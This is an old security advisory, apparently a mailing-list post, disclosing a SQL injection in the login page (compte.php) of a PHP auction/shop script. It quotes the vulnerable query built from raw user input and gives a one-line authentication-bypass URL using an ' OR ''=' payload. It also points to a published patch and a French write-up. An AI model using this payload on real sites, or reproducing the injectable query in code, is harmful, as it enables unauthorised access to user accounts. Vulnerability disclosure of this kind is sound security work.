Informations :
Version : 1.00
Website : http://www.pc-encheres.com
Problem : SQL Injection
PHP Code/Location :
compte.php :
---------------------------------------------------------------
<?
session_start();
if (isset($achat))
{
session_register("achat");
}
else
{
header("location:index.php");
}
include("design/header.php");
require("config.php");
require("fonction.php");
echo"<td bgcolor=\"$barre1\"><font color=\"$police3\"
size=\"$width_police2\"><strong>Identification</strong></font></td>
</tr>
<tr>
<td><br>";
if (isset($valider))
{
$sql = "SELECT id_cli,login_cli,pass_cli FROM $table_client where
login_cli='$identifiant' and pass_cli='$password'";
$sql = mysql_db_query($base,$sql);
$test = mysql_num_rows($sql);
if ($test=="0")
{
?>
<script language="javascript">
alert("Identifiant ou mot de passe non valide!");
</script>
<?
echo"<center><strong>Identifiant ou mot de passe non
valide!</strong></center><br>";
}
else
{
$id_membre = mysql_result($sql,0,"id_cli");
session_register("id_membre");
?>
<script language="javascript">
document.location.href="valide.php"
</script>
<?
}
}
[...]
---------------------------------------------------------------
Exploit :
http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&p
assword='%20OR%20''='
Solution :
A patch has been published on http://www.phpsecure.info .
More details :
In French :
http://www.frog-man.org/tutos/phpmyshop.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2F
tutos%2Fphpmyshop.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flangu
age_tools
frog-m@n
_________________________________________________________________
Recevez vos e-mails MSN Hotmail par SMS sur votre GSM !
http://www.fr.msn.be/gsm/servicesms/hotmailparsms